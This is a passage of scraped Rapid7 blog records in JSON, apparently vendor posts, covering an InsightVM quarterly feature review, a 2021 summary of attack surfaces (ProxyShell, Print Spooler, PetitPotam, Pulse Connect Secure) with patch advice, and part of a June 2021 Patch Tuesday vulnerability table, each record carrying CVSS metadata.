leverage these changes to drive success across your organization.\n\n## Apple Silicon support on the Insight Agent\n\nWe're excited to announce that the Insight Agent now natively supports Apple Silicon chips!\n\nApple announced the first generation Apple Silicon chip \u2014 the M1 processor \u2014 in November 2020. This chip is the new standard on all MacBooks starting with the 2020 releases, and Apple plans to transition completely to Apple Silicon chips over the next two years.\n\nThe new Mac installer specifically designed for the Apple Silicon can be accessed right from Agent Management in the platform, in the download section. Learn more in our [Apple Silicon Agent Support blog post](<https://www.rapid7.com/blog/post/2021/07/08/apple-m1-support-on-insight-agent/>).\n\n\n\n## Asset and Vulnerability Details reports\n\nThis new feature allows you to easily communicate details of your assets and vulnerabilities with stakeholders in a PDF format. Simply click the ****Export to PDF ****button on the Vulnerability Details page, and you'll have a PDF ready to share!\n\n\n\nThis is particularly useful if you're attempting to collaborate while remediating a specific vulnerability. We'll use a hypothetical security engineer named Jane to illustrate this.\n\nJane recently read about a new ransomware strain that leverages a specific vulnerability as part of an attack chain that seems to be targeting the industry of her organization. She opens the query builder in InsightVM, constructs a search query to identify the vulnerability by CVE, and discovers several instances. She wants to mention this during her morning all-hands sync so she can recruit other team members to her effort. She exports the vulnerability details page to a PDF, which allows her to share this out and provide more details to interested team members, who then can help her remediate this vulnerability much more quickly.\n\nMoreover, while undertaking this effort, another team member \u2014 Bill \u2014 finds an asset that seems to be a complete tragedy in terms of patching and vulnerability prevalence. He creates the Asset Details report and shares this in an e-mail to his team, stating that this asset seems to be missing their organization's patch cycle. He also suggests that they look for more of these types of assets because he knows that when there is one offender, there are often many.\n\n## Snyk integration for reporting vulnerabilities\n\nContainer Security assessments will now report Ruby vulnerabilities through an integration with the Snyk vulnerability database. This adds RubyGems packages to our Snyk-based coverage, which currently includes vulnerability detections for Java, JavaScript, and Python libraries. This integration is particularly helpful for organizations that perform scanning of Container Images at rest, in both public and private registries.\n\n## Emergent threat coverage recap\n\nQ3 2021 was another busy quarter for high-priority cybersecurity threats. As part of our emergent threat response process, Rapid7's VRM research and engineering teams released vulnerability checks and in-depth technical analysis to help InsightVM customers understand the risk of exploitation and assess their exposure to critical security threats. In July, [CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare/rapid7-analysis?referrer=blog>), dubbed \u201c[PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>)\" presented remediation challenges for many organizations amid active exploitation of the Windows Print Spooler service. In August, the [ProxyShell](<https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain/rapid7-analysis?referrer=blog>) exploit chain put on-premises instances of Microsoft Exchange Server [at risk](<https://www.rapid7.com/blog/post/2021/08/12/proxyshell-more-widespread-exploitation-of-microsoft-exchange-servers/>) for remote code execution. More recently, widespread attacks took advantage of [CVE-2021-26084](<https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis?referrer=blog>), a critical flaw in[ Confluence Server &amp; Confluence Data Center](<https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/>), to deploy cryptominers, exfiltrate data, and obtain initial access for ransomware operations.\n\nOther notable emergent threats included:\n\n * [ForgeRock Access Manager/OpenAM Pre-Auth Remote Code Execution Vulnerability (CVE-2021-35464)](<https://attackerkb.com/topics/KnAX5kffui/pre-auth-rce-in-forgerock-access-manager-cve-2021-35464/rapid7-analysis?referrer=blog>)\n * [SolarWinds Serv-U FTP and Managed File Transfer (CVE-2021-35211)](<https://www.rapid7.com/blog/post/2021/07/12/solarwinds-serv-u-ftp-and-managed-file-transfer-cve-2021-35211-what-you-need-to-know/>)\n * [Microsoft SAM File Readability (CVE-2021-36934)](<https://www.rapid7.com/blog/post/2021/07/21/microsoft-sam-file-readability-cve-2021-36934-what-you-need-to-know/>)\n * [PetitPotam: Novel Attack Chain](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>)\n * [Zoho ManageEngine ADSelfService Plus (CVE-2021-40539)](<https://attackerkb.com/topics/DMSNq5zgcW/cve-2021-40539/rapid7-analysis?referrer=blog>)\n * [Critical vCenter Server File Upload Vulnerability (CVE-2021-22005)](<https://www.rapid7.com/blog/post/2021/09/21/critical-vcenter-server-file-upload-vulnerability-cve-2021-22005/>)\n\n## Stay tuned!\n\nAs always, we're continuing to work on exciting product enhancements and releases throughout the year. Keep an eye on our blog and [release notes](<https://docs.rapid7.com/release-notes/insightvm/>) as we continue to highlight the latest in vulnerability management at Rapid7.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-10-08T13:30:00", "type": "rapid7blog", "title": "What's New in InsightVM: Q3 2021 in Review", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-22005", "CVE-2021-26084", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-35464", "CVE-2021-36934", "CVE-2021-40539"], "modified": "2021-10-08T13:30:00", "id": "RAPID7BLOG:8882BFA669B38BCF7B5A8A26F657F735", "href": "https://blog.rapid7.com/2021/10/08/whats-new-in-insightvm-q3-2021-in-review/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-25T01:34:04", "description": "\n\n_See the `Updates` section at the end of this post for new information as it comes to light._\n\nWhether you attended virtually, IRL, or not at all, Black Hat and DEF CON have officially wrapped, and security folks\u2019 brains are replete with fresh information on new (and some not-so-new) vulnerabilities and exploit chains. The \u201chacker summer camp\u201d conferences frequently also highlight attack surface area that may _not_ be net-new \u2014 but that is subjected to renewed and redoubled community interest coming out of Vegas week. See Rapid7\u2019s summaries [here](<https://www.rapid7.com/blog/post/2021/08/05/black-hat-recap-1/>) and [here](<https://www.rapid7.com/blog/post/2021/08/06/black-hat-recap-2/>).\n\nHere\u2019s the specific attack surface area and a few of the exploit chains we\u2019re keeping our eye on right now:\n\n * Orange Tsai stole the show (as always) at Black Hat with a talk on fresh **Microsoft Exchange** attack surface area. All in all, Orange discussed CVEs from [what appears to be four separate attack chains](<https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html>) \u2014including the ProxyLogon exploit chain that made headlines when it hit exposed Exchange servers as a zero-day attack [back in March](<https://www.rapid7.com/blog/post/2021/03/03/mass-exploitation-of-exchange-server-zero-day-cves-what-you-need-to-know/>) and the \u201cProxyShell\u201d exploit chain, which debuted at Pwn2Own and targets three now-patched CVEs in Exchange. Exchange continues to be a critically important attack surface area, and defenders should keep patched on a top-priority or zero-day basis wherever possible.\n * Print spooler vulnerabilities continue to cause nightmares. DEF CON saw the release of new privilege escalation exploits for Windows Print Spooler, and Black Hat featured a talk by Sangfor Technologies researchers that chronicled both [new Windows Print Spooler vulnerabilities](<https://attackerkb.com/assessments/85a30c9a-e126-4ec0-bda4-d166e03c5390>) and past patch bypasses for vulns like CVE-2020-1048 (whose patch was bypassed three times). Given that many defenders are still trying to remediate the \u201cPrintNightmare\u201d vulnerability from several weeks ago, it\u2019s fair to say that Windows Print Spooler will remain an important attack surface area to prioritize in future Patch Tuesdays.\n * There\u2019s also a new vulnerability in Pulse Connect Secure VPNs that caught our attention \u2014 the vuln is actually a bypass for CVE-2020-8260, which came out last fall and evidently didn\u2019t completely fade away \u2014 despite the fact that it\u2019s authenticated and requires admin access. With CISA\u2019s warnings about APT attacks against Pulse Connect Secure devices, it\u2019s probably wise to patch CVE-2021-22937 quickly.\n * And finally, the SpecterOps crew gave a highly anticipated Black Hat talk on several new attack techniques that [abuse Active Directory Certificate Services](<https://posts.specterops.io/certified-pre-owned-d95910965cd2>) \u2014 something we covered previously in our summary of the [PetitPotam attack chain](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>). This is neat research for red teams, and it may well show up on blue teams\u2019 pentest reports.\n\n### Microsoft Exchange ProxyShell chain\n\n**Patches:** Available \n**Threat status:** Possible threat (at least one report of exploitation in the wild)\n\nIt goes without saying that Microsoft Exchange is a high-value, popular attack surface that gets constant attention from threat actors and researchers alike. That attention is increasing yet again after prominent security researcher Orange Tsai gave a talk at Black Hat USA last week revealing details on an attack chain first demonstrated at Pwn2Own. The chain, dubbed \u201cProxyShell,\u201d allows an attacker to take over an unpatched Exchange server. ProxyShell is similar to ProxyLogon (i.e., [CVE-2021-26855](<https://attackerkb.com/assessments/a5c77ede-3824-4176-a955-d6cf9a6a7417>) and [CVE-2021-27065](<https://attackerkb.com/assessments/74177979-e2ef-4078-9f91-993964292cfa>)), which continues to be popular in targeted attacks and opportunistic scans despite the fact that it was patched in March 2021.\n\nTwo of the three vulnerabilities used for ProxyShell were patched in April by Microsoft and the third was patched in July. As of August 9, 2021, private exploits have already been developed, and it\u2019s probably only a matter of time before public exploit code is released, which may allow for broader exploitation of the vulns in this attack chain (in spite of its complexity!). Rapid7 estimates that there are, at least, nearly 75,000 ProxyShell-vulnerable exchange servers online:\n\n\n\nWe strongly recommend that Exchange admins confirm that updates have been applied appropriately; if you haven\u2019t patched yet, you should do so immediately on an emergency basis.\n\nOne gotcha when it comes to Exchange administration is that Microsoft only releases security fixes for the [most recent Cumulative Update versions](<https://docs.microsoft.com/en-us/exchange/new-features/updates>), so it\u2019s vital to stay up to date with these quarterly releases in order to react quickly when new patches are published.\n\nProxyShell CVEs:\n\n * [CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>)\n * [CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>)\n * [CVE-2021-34523\u200b](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>)\n\n### Windows Print Spooler \u2014 and more printer woes\n\n**Patches:** Varies by CVE, mostly available \n**Threat status:** Varies by CVE, active and impending\n\nThe Windows Print Spooler was the subject of renewed attention after the premature disclosure of the PrintNightmare vulnerability earlier this summer, followed by new Black Hat and DEF CON talks last week. Among the CVEs discussed were a quartet of 2020 vulns (three of which were bypasses descended from CVE-2020-1048, which has been exploited in the wild since last year), three new remote code execution vulnerabilities arising from memory corruption flaws, and two new local privilege escalation vulnerabilities highlighted by researcher [Jacob Baines](<https://twitter.com/Junior_Baines>). Of this last group, one vulnerability \u2014 CVE-2021-38085 \u2014 remains unpatched.\n\nOn August 11, 2021, Microsoft assigned [CVE-2021-36958](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>) to the latest Print Spooler remote code execution vulnerability which appears to require local system access and user interaction. Further details are limited at this time. However, as mitigation, Microsoft is continuing to recommend stopping and disabling the Print Spooler service. Even after this latest zero-day vulnerability is patched, we strongly recommend leaving the Print Spooler service disabled wherever possible. Read Rapid7\u2019s [blog on PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>) for further details and updates.\n\nWindows Print Spooler and related CVEs:\n\n * [CVE-2020-1048](<https://attackerkb.com/topics/QoQvwrIqEV/cve-2020-1048-windows-print-spooler-elevation-of-privilege-vulnerability?referrer=blog>) (elevation of privilege vuln in Windows Print Spooler presented at Black Hat 2020; exploited in the wild, Metasploit module available)\n * [CVE-2020-1337](<https://attackerkb.com/topics/mEEwlfrTK3/cve-2020-1337?referrer=blog>) (patch bypass for CVE-2020-1048; Metasploit module available)\n * [CVE-2020-17001](<https://attackerkb.com/topics/oGAzAwKy1N/cve-2020-17001?referrer=blog>) (patch bypass variant for CVE-2020-1048)\n * [CVE-2020-17014](<https://attackerkb.com/topics/N9XhrkViyk/cve-2020-17014?referrer=blog>) (patch bypass variant for CVE-2020-1048)\n * [CVE-2020-1300](<https://attackerkb.com/topics/43jdEqsVY1/cve-2020-1300?referrer=blog>) (local privilege escalation technique known as \u201c[EvilPrinter](<https://twitter.com/R3dF09/status/1271485928989528064>)\u201d presented at DEF CON 2020)\n * [CVE-2021-24088](<https://attackerkb.com/assessments/85a30c9a-e126-4ec0-bda4-d166e03c5390>) (new remote code execution vulnerability in the Windows local spooler, as presented at Black Hat 2021)\n * [CVE-2021-24077](<https://attackerkb.com/topics/wiyGYban1l/cve-2021-24077?referrer=blog>) (new remote code execution vulnerability in the Windows Fax Service, as presented at Black Hat 2021)\n * [CVE-2021-1722](<https://attackerkb.com/topics/v1Qm7veSwf/cve-2021-1722?referrer=blog>) (new remote code execution vulnerability in the Windows Fax Service, as presented at Black Hat 2021)\n * [CVE-2021-1675](<https://attackerkb.com/topics/dI1bxlM0ay/cve-2021-1675?referrer=blog>) (elevation of privilege vuln in Windows Print Spooler patched in June 2021)\n * [CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=blog>), aka \u201cPrintNightmare\u201d\n * [CVE-2021-35449](<https://attackerkb.com/topics/9sV2bS0OSj/cve-2021-35449?referrer=blog>) (print driver local privilege escalation vulnerability, as [presented](<https://www.youtube.com/watch?v=vdesswZYz-8>) at DEF CON 2021; Metasploit module in progress)\n * [CVE-2021-38085](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38085>) (**unpatched** print driver local privilege escalation vulnerability, as [presented](<https://www.youtube.com/watch?v=vdesswZYz-8>) at DEF CON 2021; Metasploit module in progress)\n * [CVE-2021-36958](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>) (**unpatched** remote code execution vulnerability; announced August 11, 2021)\n\nCurrently, both [PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>) CVE-2021-34527 and CVE-2020-1048 are known to be exploited in the wild. As the list above demonstrates, patching print spooler and related vulns quickly and completely has been a challenge for Microsoft for the past year or so. The multi-step mitigations required for some vulnerabilities also give attackers an advantage. Defenders should harden printer setups wherever possible, including against malicious driver installation.\n\n### Pulse Connect Secure CVE-2021-22937\n\n**Patch:** Available \n**Threat status:** Impending (Exploitation expected soon)\n\nOn Monday, August 2, 2021, Ivanti published [Security Advisory SA44858](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44858>) which, among other fixes, includes a fix for CVE-2021-22937 for Pulse Connect Secure VPN Appliances running 9.1R11 or prior. Successful exploitation of this vulnerability, which carries a CVSSv3 score of 9.1, requires the use of an authenticated administrator account to achieve remote code execution (RCE) as user `root`.\n\nPublic proof-of-concept (PoC) exploit code has not been released as of this writing. However, this vulnerability is simply a workaround for [CVE-2020-8260](<https://blog.rapid7.com/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/%E2%80%8B%E2%80%8Bhttps://attackerkb.com/topics/MToDzANCY4/cve-2020-8260?referrer=search#vuln-details>), an authentication bypass vulnerability that was heavily utilized by attackers, released in October 2020.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has been monitoring the [Exploitation of Pulse Connect Secure Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa21-110a>) demonstrating that attackers have been targeting Ivanti Pulse Connect Secure products for over a year. Due to attacker focus on Pulse Connect Secure products, and especially last year\u2019s CVE-2020-8260, Rapid7 recommends patching CVE-2021-22937 as soon as possible.\n\n### PetitPotam: Windows domain compromise\n\n**Patches:** Available \n**Threat status:** Threat (Exploited in the wild)\n\nIn July 2021, security researcher [Topotam](<https://github.com/topotam>) published a [PoC implementation](<https://github.com/topotam/PetitPotam>) of a novel NTLM relay attack christened \u201cPetitPotam.\u201d The technique used in the PoC allows a remote, unauthenticated attacker to completely take over a Windows domain with the Active Directory Certificate Service (AD CS) running \u2014 including domain controllers. Rapid7 researchers have tested public PoC code against a Windows domain controller setup and confirmed exploitability. One of our [senior researchers](<https://twitter.com/wvuuuuuuuuuuuuu>) summed it up with: &quot;This attack is too easy.&quot; You can read Rapid7\u2019s full blog post [here](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>).\n\nOn August 10, 2021, Microsoft released a patch that addresses the PetitPotam NTLM relay attack vector in today's Patch Tuesday. Tracked as [CVE-2021-36942](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942>), the August 2021 Patch Tuesday security update blocks the affected API calls [OpenEncryptedFileRawA](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>) and [OpenEncryptedFileRawW](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfileraww>) through the LSARPC interface. Windows administrators should prioritize patching domain controllers and will still need to take additional steps listed in [KB5005413](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>) to ensure their systems are fully mitigated.\n\n### Rapid7 customers\n\nInsightVM and Nexpose customers can assess their exposure to the vulnerabilities in this post with authenticated vulnerability checks. Please note that details haven\u2019t yet been released on CVE-2021-38085 and CVE-2021-36958; therefore, it\u2019s still awaiting analysis and check development.\n\n### Updates\n\n**Pulse Connect Secure CVE-2021-22937** \nOn August 24, 2021, the Cybersecurity &amp; Infrastructure Security Agency (CISA) released [Malware Analysis Report (AR21-236E)](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-236e>) which includes indicators of compromise (IOCs) to assist with Pulse Connect Secure investigations.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T17:13:25", "type": "rapid7blog", "title": "Popular Attack Surfaces, August 2021: What You Need to Know", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1048", "CVE-2020-1300", "CVE-2020-1337", "CVE-2020-17001", "CVE-2020-17014", "CVE-2020-8260", "CVE-2021-1675", "CVE-2021-1722", "CVE-2021-22937", "CVE-2021-24077", "CVE-2021-24088", "CVE-2021-26855", "CVE-2021-27065", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35449", "CVE-2021-36942", "CVE-2021-36958", "CVE-2021-38085"], "modified": "2021-08-12T17:13:25", "id": "RAPID7BLOG:5CDF95FB2AC31414FD390E0E0A47E057", "href": "https://blog.rapid7.com/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-06-15T09:07:00", "description": "\n\nIt is another low volume Patch Tuesday this month as Microsoft releases fixes for 50 vulnerabilities. This should not diminish the importance of speedily applying the updates. 6 of the vulnerabilities being patched this month are 0-days under active exploitation ([CVE-2021-31955](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31955>), [CVE-2021-31956](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31956>), [CVE-2021-33739](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-33739>), [CVE-2021-33742](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-33742>), [CVE-2021-31199](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31199>), and [CVE-2021-31201](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31201>)). These patches should be given immediate priority. Luckily they can all be addressed by normal operating system patches and should not require additional manual intervention. Additionally, Enterprises should take action on [CVE-2021-31962](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31962>) if they use Kerberos in their environment as it may allow an attacker to bypass Kerberos authentication altogether.\n\n## Windows MSHTML Platform Remote Code Execution Vulnerability ([CVE-2021-33742](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-33742>))\n\nThis is the only 0-day vulnerability this month which results in a remote code execution. The vulnerability lies within the MSHTML platform which is used by Internet Explorer 11 and Edge Legacy. While these two products are no longer fully supported (Edge Legacy is end of life and IE 11 is no longer supported on certain platforms) the underlying HTML libraries continue to be updated as other applications can make use of it. Further details for this vulnerability will be published by Google's Threat Analysis Group within the next 30 days.\n\n## Kerberos AppContainer Security Feature Bypass Vulnerability ([CVE-2021-31962](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31962>))\n\nWhile this vulnerability has not been exploited in the wild yet, it would be a rather juicy target for exploit developers. Were this to be exploited it may allow a complete bypass of Kerberos authentication, allowing a connection without a password. Kerberos is generally used in Enterprise environments and as such sysadmins should patch this if they are leveraging the strong cryptography authentication mechanism.\n\n## Multiple Elevation of Privilege 0-days \n\n### [CVE-2021-31955](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31955>), [CVE-2021-31956](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31956>), [CVE-2021-33739](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-33739>), [CVE-2021-31199](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31199>), and [CVE-2021-31201](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31201>)\n\n \nThe rest of the 0-days this month can result in elevation of privilege. These vulnerabilities are often chained with other vulnerabilities in order to achieve code execution as an Administrator. Luckily for defenders, these vulnerabilities are simply patched using the traditional update methods.\n\n## Summary Tables\n\nHere are this month's patched vulnerabilities split by the product family.\n\n## Apps Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-31945](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31945>) | Paint 3D Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31946](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31946>) | Paint 3D Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31983](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31983>) | Paint 3D Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31980](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31980>) | Microsoft Intune Management Extension Remote Code Execution Vulnerability | No | No | 8.1 | Yes \n[CVE-2021-31942](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31942>) | 3D Viewer Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31943](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31943>) | 3D Viewer Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31944](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31944>) | 3D Viewer Information Disclosure Vulnerability | No | No | 5 | Yes \n \n## Browser Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-33741](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33741>) | Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability | No | No | 8.2 | Yes \n \n## Developer Tools Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-31938](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31938>) | Microsoft VsCode Kubernetes Tools Extension Elevation of Privilege Vulnerability | No | No | 7.3 | Yes \n[CVE-2021-31957](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31957>) | .NET Core and Visual Studio Denial of Service Vulnerability | No | No | 5.9 | No \n \n## ESU Windows Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-31968](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31968>) | Windows Remote Desktop Services Denial of Service Vulnerability | No | Yes | 7.5 | No \n[CVE-2021-1675](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1675>) | Windows Print Spooler Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-31958](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31958>) | Windows NTLM Elevation of Privilege Vulnerability | No | No | 7.5 | Yes \n[CVE-2021-31956](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31956>) | Windows NTFS Elevation of Privilege Vulnerability | Yes | No | 7.8 | Yes \n[CVE-2021-33742](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33742>) | Windows MSHTML Platform Remote Code Execution Vulnerability | Yes | No | 7.5 | Yes \n[CVE-2021-31971](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31971>) | Windows HTML Platform Security Feature Bypass Vulnerability | No | No | 6.8 | Yes \n[CVE-2021-31973](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31973>) | Windows GPSVC Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-31953](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31953>) | Windows Filter Manager Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26414](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26414>) | Windows DCOM Server Security Feature Bypass | No | No | 4.8 | Yes \n[CVE-2021-31954](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31954>) | Windows Common Log File System Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-31959](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31959>) | Scripting Engine Memory Corruption Vulnerability | No | No | 6.4 | Yes \n[CVE-2021-31199](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31199>) | Microsoft Enhanced Cryptographic Provider Elevation of Privilege Vulnerability | Yes | No | 5.2 | Yes \n[CVE-2021-31201](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31201>) | Microsoft Enhanced Cryptographic Provider Elevation of Privilege Vulnerability | Yes | No | 5.2 | Yes \n[CVE-2021-31962](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31962>) | Kerberos AppContainer Security Feature Bypass Vulnerability | No | No | 9.4 | Yes \n \n## Microsoft Office Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-31964](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31964>) | Microsoft SharePoint Server Spoofing Vulnerability | No | No | 7.6 | No \n[CVE-2021-31948](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31948>) | Microsoft SharePoint Server Spoofing Vulnerability | No | No | 7.6 | No \n[CVE-2021-31950](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31950>) | Microsoft SharePoint Server Spoofing Vulnerability | No | No | 7.6 | No \n[CVE-2021-31966](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31966>) | Microsoft SharePoint Server Remote Code Execution Vulnerability | No | No | 7.2 | No \n[CVE-2021-31963](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31963>) | Microsoft SharePoint Server Remote Code Execution Vulnerability | No | No | 7.1 | No \n[CVE-2021-26420](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26420>) | Microsoft SharePoint Server Remote Code Execution Vulnerability | No | No | 7.1 | No \n[CVE-2021-31965](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31965>) | Microsoft SharePoint Server Information Disclosure Vulnerability | No | No | 5.7 | Yes 